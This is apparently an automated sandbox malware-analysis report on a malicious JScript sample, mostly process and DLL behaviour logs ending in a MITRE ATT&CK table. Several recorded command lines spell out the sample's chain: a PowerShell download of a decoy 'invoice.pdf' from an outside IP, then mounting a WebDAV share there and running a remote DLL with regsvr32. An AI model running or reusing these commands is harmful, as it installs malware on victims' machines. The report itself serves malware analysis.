Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1862.js.csv");ITextStream.WriteLine(" entry:7401 f:edddsnhtw");ITextStream.WriteLine(" exec:2 f:edddsnhtw");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4950			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4913			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 796	Thread sleep count: 4950 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 796	Thread sleep count: 4913 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5856	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1212	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3404	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1610794373.000001B025100000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1603885146.000001B025100000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1610541997.000001B025098000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2801481192.000001F3B6254000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2800320969.000001F3B0C2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
